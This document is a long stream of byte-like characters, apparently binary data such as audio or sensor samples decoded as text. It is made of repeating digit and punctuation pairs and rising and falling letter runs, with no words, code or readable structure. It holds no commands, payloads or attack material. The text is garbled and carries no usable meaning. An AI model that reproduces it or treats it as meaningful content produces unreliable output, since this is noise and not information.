!#!&$)'+)0-2.517395<9@<B?DBGDJGLIQKSNUPXS[U]Y_\c^e`icjemhoksmupys|u}wz|·Źǻȼ̿̿ɼǻŸ÷~{yw~u{szrwovmslrkphmfkchbf_d]b[aY^X\U[TYRWPUNSLPJNGLEKCJBF@D=@;=8<6;482705/3.3-2-2-2,2,2,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4+5+3-2.0///1-3-/-/?&U1oT" /=GMRW[__\YUQJD?5+!  eY!=).300-4-6,5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.4.4.3-3-3-3-6.6.5-5-5-5-5-5-5-4-4.3.4.3.3-3-3-3,3,2,2+2+2+2* 2* 3* 2* 1* .*.).*.).).),(-'.(,' ,'!-'$,'&+$),$-,$0,$2,$3,$6-$:)#:("<("?'"@&!A& B'!D("H'"H&"H% I$I"K#N$Q#S"T"T"V"V#Y$]#]#^"^!^!` ``c e!g"i#j ih k!k"n#n$p"o"o#o$q% r% s%!t&!x&!y'"z(#{)$|*%}+&}-(-(.(.).).).)/+/+/+/+/+/+.+~.*~.*~.*~.*~.*~.*,'}+%|*$|)#{("z'"y'"x&"v%!t%!t# r"q!o!o# q# p"o m l k!j i!g f!f e!d!c a!_"_#_#^$^$\!W"V$U$U$T$T$Q#M#L#K& K' K(!J(!G' D'!C(!B)"B)"A)#?)#;)#8("5(#3)#1)#/(#,+'*+'(+($,("-)!-) -(/(0)/(/(.(/)0)0*0+ /* 0* 0* 0*0*2+2,2,2,2,2-2.303031212222230505061616162635353422211120011010000//00.///././/0.0.2/3.2.2/101/100/0//0/0/10202010212132404263727282828280706060606060515150404/3.2.2112120100/0.2.403/3.4.3.4.4.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3+3,3-3-3-4.6081:3;6>7A;B=D?E@HCKENFOHPJSMUNXPZS^U_W`XbZd\f_i`kcldofqhskulwnzq{r}uvxz}~øźȼɾ˿ȼƺø~{y|vytvosnrkphmgidebc_`]^Z\WYUVRSOQLPILFJDFBC?@==:;785623//-,,*(('%$"!     #!%$)'-*/,1.416295;8><A?DAGEJGMIPKSMUPXRZU]Ya\b]e`hbidmhojrmuoxs{u}xz|ķƺȼ˾˾ȼƹķ~|zxw}uzsxpwoumskqiofldiag_e^c\aZaY^W\U[SXQUNTLRJOHMFLDJBH@E>A<?:>9<6:471504.3-2-2,2,2,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4+5+3-2.0///0-2.020I%c@i .AOY\`cgjigb`]XSNC7-# !{t!H+(13//,3,7+5+3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.4.3-3-3-3.3-3-3-5,5,4+4+4+5,5,5,5,5-5-5-6/6/5.5-5-3-3-2,2,2,3,3,3,3+2+1*1*1+1+ 0+ 0* 0) .)/).(.(/)/(0'0'/'/&/% .%",%%,%(,%*,$,+$-,$.,%1*#1)#1)#3*#5)#6*#9)";'!<'!>'"?("B'!B' C&D%E&G'G% J% J& M%N$N#O#P"R"R"S"V#W"X"X"X!X!Y#[#\"["\"]"]!]!_!`!`!`!`!`!`!`!`!`!`!`!`!`!`!`!`!`!`!`!`!`!`!`!`!`!`"a"a"`"`"`"_"_"^!^!^!\![![![ZX X!W!W#X#W$V$T%S%R$R$P#O&O%M%L%J%H%E&E)!F)!D)!B(!A( >' =(";*$;*$9*$8*"6*#5+#4,$3-$1-$.,$--$,-$+,$),%&,&#-&#-'!-'-(.(-(-).(/)/).(.) 0* /+ /*/*.*/*/*1-1-0-1,1-1-2-3.3.3.4/403133545454363636382:3:2;4;3;3<4=3<4;4;4:393816161615050505050505050505051313131414/50506060707191:2;1<2=3>3?3@3A3B4B2C2D2D2D2D1C1B3B2B2A2A3A4B3A4A2?2?2>2=2;2:29181707162524131211111/2/2.2.3-3-3-3-3-3-3-3-4-4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3-4-5.6193;5=7@:A;D>E@GBICLFMGQJRKSMVOXR[T]VaXbZc\e]f^kbldmeogriskunxpzr}t~vwz|~úŻȽʿ̾ʽȻź÷~{~x{vxsuqrmqknhkficeba__]]ZZWXTURROQLNIKFHDFAB??<<:9875623//-,**('&%#!   "!%#('+)-+0-2/6386:9=<?>BAEDHFLHOKQMSOVSXV[X]Z`\c^eaidkfnjqmsowryu{w~y|~¶ĸǻɾʿɽƺķõ~|{yw~u|szqxpwmtkrioglejbh`f_d]c[bY`W_U\TZPWOUMRKPHOFMEKCHAE>C=B<@:>8<7:4825/4.3-3-2,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3-2.1/1.1-.,/8 .Q'%pOz ,?Q]efhkopnkifd`\WNB6-(  & R8)5 2.0,4-8,6,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3-3-3-3-3-3-3-3-3-3.3.3-3-2,3,3,3,3+3,3,3+3+3+3+4+5,5-5.5.5.5.5.5.5-5-5-5-5-5-4-4,4,4,4+3+2+2+2*1*1*1*1* 1* 3* 3* 2* 1) 2(2)1)0(/'/(/'/(/'.'-' ,'!-'"-'#-&$-&'-&)-%*,$,+$-*$/*$0*$2*$2+#4+#5+#5*$7)#8(#9(";(";("='"?&"@&"@&"@'"C&"D%!D%!D%!D% E$ E&!F&!H&!H& I& J& J& K& M% M% M% M% M% M% M% M% M% M% M% M%M%O%Q%R%R%R%R%R%R%R%R%R%R%R%Q&P'N'M'M'M&L&K&J%I%H% H% H% G% G#F#F$F% E%!E&!D'"D'"C'"A(!A)!@)"?)"?)"=(";(":("9(!7("6*"4*#3+$3,%1,%0,%/,$--$+-%)-''.'&.'%-&$-'#/&".' /'0'/'/'0'0(/(/)0)/)0)/)0) /) 0* 1*1*1*2*1*.-.-.-/-0.0.0.1/1022222233333232333324353536272738383:3<2=3=2>3>2?2?4A4A4A3@3@3@3?2=2=2<1<1<0;0;0;0;1<1<1<1<1<1;2;3<1<2=2>1>0?0@1@2A1C1C1E1F1G2H1I1J2K1L1L0N1O1O0O0O1N2M3L1K2K1J1J2J3J3J2I2H1H2G3F3E3D2C2B2A2@2?2?2>2<1;09172412/01/1/1.2.3-3,4+6,6,6+4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,3-3-3-3-3-3-2,3-3-2,2,2,4-6.8092;4=7@9A;D=E?GAICKEMGOIQKULVMWPZR\T_UaXcZe\f^i`jandpfrhtjvlwnzq}r~tvxz|~ĸźƻɾ;ɼȻƺķ}{|xyuvstpqnnkmijfhceaa^^\[YXWVTTQRNOLLIIGFDCA@>=<;:88653210.,+)(&%$$!"   " %$(&))-+/-2/426598;;>=A@ECGEKHNJPMRPVSXUZW\Y_[b^fahdkgnipltnvqxs{v~y{}ĸƺȽɿ˿ȼǺŸķ´}|zxu~t|sypwnulrjpgnelciah_f]d\cZbX`V]S[RXPVMSKRJPGMEKDJBH@D>D=B;?9=7;493715/4.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3-4.2.2-0-,-.=.Z2%zZ  %9O`lpnnorspljigfd_WL?61"%[C):2.1,4,7+5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3-3-3-3-3-3-3-3-3-3.3.3-2-2-2-2-3,3,3,3,3+3+3+3+3+4+4-4-4-4-4-4-4-4-4-4-4-4-4-5-6-5-5-5,5-4,4,4-3,2,2+2+2+5,4,4,3,3+3+2+1*/) 0) 0) 0) /)/)/)/)0)0)0).)/(.'.'.'.&-'.' -&!-&"-&$-%$.%%-%&,%',%(,%),%+*%,*$-*$-)$.*$1)$2)#2)#2)#3)#4)"5*#6*#6*#7*#7*"8*"8)"8*";)";)";)";)";)";)";)";)";)";)";)";)"<)"=)">)!>)!>)!>)!>)!>)!>)!>)!>)!>)!>)!>)!>*"=+!;*!:*!:*!:*!:*"9*"8*"8*#7*#7*#6*#6*#6)#5($4*$4)#3)$2*$2+%1+$0+%/,%.,%-,%,.$,,%+-%),%(-%'-%',%%-&$-&"-'!.' .'.'.'/'/(/)/)/)/(/(0(/)/(/(.) 0) 0) 0* 0+ 0,1+0+1+1,1+1,1,2-2-2-3-2./0.1/10202031314152626272727272828293:2:2;2<1<1=1>1>2?2@2A2A2B3C2D1E2G3G3G2F1F1F1E1E1E1D1D1D0C0C0C0C0C0C0C0C0C0C1D2D1E1F2F1G0H0I0J1J0L0L0O/Q.R.R/S/T/U.V.W.Y/Z.Z.Z.Z0X2W1V1V0U0U0U0T1T0T0S0S0R0Q0P1O0O0N0M2L2L2K2K2J2H1G0E2C2>2;08/5.2.0//0.2,4,7,7,6+5,4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.4/6091;3=5>8A:B<D>F@HBKDMFNHQIRKUMXOYQZS\T_WaXc[f]g_h`lbndqgritkvlxnzp|suwy{}ķƺȽʾ;ʼǺŸ÷~|z{xxutrrppnnklhjegbd`a^^[ZYXVUSSQQNNKKIHGEDCA@>=<:987552210--*)('%##!    ! $#&%)(,*.,1/215487;:=<A?DAGCJFLIOLQOUQWSYV\X^Zb^d`hcjflipjrmtpws{u}xz|÷ŹƻȽʿʾȼǻŷõ}{ywu}s{qyovlsjrhpgmekbjag_f]d[cZ`W^U\SYQWOULSKPINGMFKDIBHAF?C<B:?8=6:492715/3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,2,4-5-5-3,0,(-,B.b:%c /E[lvwusrtuplihhiie_TG>8)%dN)A2-3,4+6,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3-3-3-3-3-3-3-3-3-3-2.2.2.2.2.2.2.2-2-2-2,2,2,3,3-3-3-3-3-3-3-3-3-3-3-3-3-4-6-5-5-5-5-4-5-4.4-3-3-3,2,4.3.3-2-2-2,2-1,0+0+0+1+0,/+0+0+0+0+0*.+ .* .) .( .).(.(.(.(.'/'.(/(.(.'.'.'.(-'-'-'-'-',& ,&!,&!,&!-&#-&$-&$-&$-&%-&%-&%-%&-%&-%),&),&),&),&),&),&),&),&),&),&),&),&),&),&(,&(,&(,&(,&(,&(,&(,&(,&(,&(,&(,&(,&(.&).%).%).%).%).%(.%'-%&-&%-&%-&%-&$-&$-&$,'#+'#-'"-'!,& ,' -'-'-'-'.'.(/'.(.'-(.(.(.(.(.).).).)/).) .) .* .+ .+.+0*0*0+/+/+/+.,0,0-1-1/203/1/2/2/2/30303141424233/4/5060707181819192:1;1<1;1=0=1>1>1?2@0@0A/B/B0C/D0E0E0E1F1F1G2G1I0I1K2L2L1L/L/L/L0L0L/K/K/K/K/K/K/K/K/K0L0L0L0L0M1M1N1O1O0Q0R/S/T0U0V0W/Y/[.\.].^._-`-a.b.c.d-e-e-e/c0c/b/b0a/a/`/`/`/`/_0^0^/].\.\.\/Z/Z1Y1X0W0V0V1T0R/Q0N1J1F0C0@/;.8.4.10.2-4-6,5,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.3-3-3-2,2,2,3-3.3.4/5072:3<5?7@9C;D=F?IAKCMFNHPIRJTLWNYP[S\T^V`XcZe\g^i`kblcofqhtjvlwnzo|q}svxz}~ķŸǻʽͿ˾ʻǸŸ}{~y{wwssqqnolmjkhhdfac^`\]ZZWWUTRQOPMMJJHFFDCA@?=<;:8664311./,,)*'&%#!     #!&$(&+)-+/.215487:9=;@>C@FCIFKINKRMTPURXTZW^Z`\d_faielgnipltnwqzt{wx{~·øƺȼ˿̿ʽȹŷö~|{yv~u|rypwmulsjqhofldkbiag_f]cZaY_W\TZRXPVOTLRJPINGMELCIBG@E>B<@:>7<693704/4.4.3-3-3-2,3-3-3-3-3-3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-1-2-5-7-8,5+/,%-)D*f>!f "6Mds||xutvwqmjhgijidZMC<-#kV)F0+4,4,5-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3-3-3-3-3-3-3-3.3.3.3.3.3.3.2.2.2.2-2-2-2-3-3-3-3-3-3,3,3,3,3,3,3,3,3,4-4-4-4-4-3-3-3.3.2.2.2.2.2/2/2030202/1/1/1/1/1/1/1/0//-/-/-/-/-/,/,/,/,/+/+/*/*/)/)/) .* 0* .* .) /* /* /* /) /) /) /* -* -* -* -* .+.+.+.+.+.+.*.*.*.*.+.+.+.+.+.+.+.+.+.+.+.+.+.*.*.*.*.*.*.*.*.*.*.*.*.*.*/*/+/+/+/+/+/+.+-+-+-+-,-,-+-*.).)-)-(-(-)-(-( -) -* -* /* -* .* -*-*.*.*/,/,.,.,.,.+.,.,.-/./././././.0/0000/2020212243545353535352526273839493909/:0:0;1<1=1=2>1>0?0?1@1@0A.B/C/C0D0E/E/F/G.G.H.I.J/J0J0J/K/K0L/M.N/O0O/Q/Q.Q-Q-Q-R.R.R.R.R.R.R.R.R.S.S.S/S/S.T.T/U/V/W/X/Y/Z.[.].^._.`.a.c.d.e-f-g-h-i,k,l,l,m+m+m-m.m-l-l.k.k-j-i-i-i.h.h.h.h-h-h,g,f,e-d-d.c/c/a0`/^.]/Z/V0R/P/L/F/A.</7/20/2-4-4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.4.3-3-3-3-2,3-3.4/516395=7@8B;D<G>H@JBLDNFQHRKTLWMXOZQ[T_V`XaZc[f]h_jamdneogrislwmynzp|r~uvy{~µøźǼɽ˿ʽȻƸõ|y~w{uxssppmmjjhhfgce`b]`[]XYUWSTRQNNLLIIFGDCB@?>=<:97743210..++()&&$#"     # %#)%*)-+/.215386;7=:@<C?FBHFJHNKQLSNUQWS[V]Ya[c]f`ickfmhpjtmvoxr{u~wz|÷Źȼɽ˿̿ʼȺƹø~}zxv|tyqwountmrjphmfldjchaf^d\bZ_X]V\TYRWOUNTLSJPIOFMDKBIAF?D<A;?9=7:471605/5/4.2,2,3-3-3-3-3-3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-1-0-4-9,:+6*/+$.%E%g?g %:Qgw~yvuwxuqkigillg^PE>.   oZ(J$-*4,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.2.2.2.2.3-3-3-3-3-3,3,3,3,3,3,3,3,3,2,3,2-3-2-2.1-1-1-2.2/3020011313243525241414141414220302010101012010101010101/1.0-0,0-0-0-0-0-0-0-0-0-0-0-0-/,.-/-.-/-/-/-0-../-/-/-/-.-0-/-/-/-/-0-.-/-/-/-/-.-0-/,/+/+/,0+.,/+/,/,/+.,0+/,/+.,--.---.------.,...-.-.-..-.,.+/+.,.,.,-+-+-,-,.-.-...././/////0/00001111110101011224242424152515151517171717283939394:3:3:1;1<0=0>1>1?2?2>2?1@1@1A2A2B2C1C2D2D0E2E0F.G.G.G0H.I/J/K.K.L.M.N/O/O/O/O0P.Q.Q.R.S-T.T.U-U-V-V,V-X-Y/Y.Y.Y/Y.Y/Y.Y/Y/Y.Y0Z/Z.[-[.\/^/^.`.a-b-c-d,f-g-g.h.j.j.l.m-n,o,p-q-r,s,t,t,t,u,u+t,t-s-s-s-s-s-s-r-q-q,r-s,r,r+q*p+o+n,m-l.k/j.h-g-f/b/_.Z-V.P.I0E1@09/31/2.2,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4/51627397<9?:C;E=G?JAKCNFPHRJTKUNXNZP[R]U^WbZc[d]f_hakcmepgqirktmwo{p|r~twx{}ŹƻȽʿʾȼǺŷõ~{x~u{swruoolmijggdeac`a\_Z\WYTWRTPOMNKKHHFFBC@>==<;99673311.-,+*'(%%##!    !#!&$)&,)/,2/4083:5=8?;@>D@GDJFLHNJQLSOWRXT[W^Za\d^gajcmfqhsktmwpys|vx{}ŸƺǼʾ˾ȽǻŹ·~|yx|u{szrypuntlrjohnfldhbg`e]c[`Y_X]V\TZQXOVMTKSJPHNELDIBHAF>C>A;>8:59482715/4.3-3-3-3-3-3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-0.0.4-9,<*8*/+"."D"g>h $:Six~yvuwz{vpljiklh`SG?0! o\'N),+5-4,2.3.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3,3,3,3,3,3,3,5+5+5,5,5,5,3-3-3-3-3-3-3.4.5-5-5-3-3-3-3-3-3-3-3,3,2,2,1,2,1-1,0-0.0/00112234564627182839483838382828282837172716161606252525353433333332222222222222314241424131303/2.3.2.2-1-1-2-1-2,1,1,2,1,2,1,1,1,1,2,1,2,1,1,2,1,2,1,1,1,1,2,1,2,1,1,2,1,2,1,1,0-/-0-/-1.0/0/1/0/1/0/0/0/1/1/2/3/202121222222222222222214252525363637473828282828383939394;3;3;3;3;3;2;2<2<2<4=5>5>3?4@3@2@0A0B/B0C0C/D0D3E3E2E2E2E3F3G3H2I2I2I1J2J1J/L/L/L0M/N0N0O0P0P0Q0R1S1T0T0V0V/W/X/X/X.Y-Y.Z.Z.[-[.[.].^0^0_0_1_0`1`0`1`1`0`2`0a/c/c0d/e0g/h.i.j-k-l.m.n-p.q/r0q0s0s/u/v/w0x0x.y.y.z.{-|,~,~,~,~-|-{.|.|-|-{-{-{-{+|+|+|+|*{,z,y,w-w.v/v.u-s.q0n0k/g/a/\0V2P3I3B1<15000-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-